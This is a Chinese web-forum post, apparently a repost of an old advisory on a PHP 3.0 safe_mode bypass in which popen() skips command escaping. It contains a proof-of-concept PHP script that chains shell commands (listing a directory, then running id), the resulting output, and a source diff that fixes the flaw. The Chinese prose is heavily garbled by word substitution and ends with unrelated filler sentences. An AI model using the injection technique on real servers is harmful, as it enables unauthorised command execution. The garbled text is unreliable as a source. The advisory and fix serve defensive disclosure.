仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 1202|回复: 19
打印 上一主题 下一主题

[学习教程] PHP网站制作之PHP3 safe_mode 生效破绽

[复制链接]
再现理想 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-2-4 00:04:21 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
让好朋友来看看,嘿,看咱写的多棒,然后再在网上宣传一下。   受影响的体系:  PHP 3.00  
--------------------------------------------------------------------------------
描写:
  
    PHP Version 3.0是一个HTML嵌入式剧本言语。其大多半语法移植于C、Java和Perl并联合了
PHP的特征。这个言语可让web开辟者疾速创立静态网页。
   
    因其履行在web办事器上并答应用户履行代码,PHP内置了称为'safe_mode'的平安特征,
用于掌握在答应PHP操作的webroot情况中履行号令。
   
    其完成机制是经由过程强迫履行shell号令的体系挪用将shell号令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目次内部不克不及履行号令。
   
    在某些版本的PHP中,利用popen()号令时EscapeShellCmd()却生效了,形成歹意用户可
以使用'popen'体系挪用停止不法操作。
  
--------------------------------------------------------------------------------
测试法式:
  
警 告:以下法式(办法)能够带有进击性,仅供平安研讨与教授教养之用。利用者风险自信!
  
<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>
   
输入了局以下:
   
1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;
   
@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}
   
- fp = popen(buf,p);
   
+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  在一个团队之中或者说是在一个公司的工作岗位上,需要注重团队之间的交流合作;在学习或工作上都要端正自己的态度,要以认真的态度来对每件事,这样才能让自己更快的投入、更快的学习,而不至于浪费自己的时间。
再现理想 该用户已被删除
沙发
 楼主| 发表于 2015-4-17 21:05:07 | 显示全部楼层
先学习php和mysql,还有css(html语言很简单)我认为现在的效果比以前的方法好。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-17 16:32

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表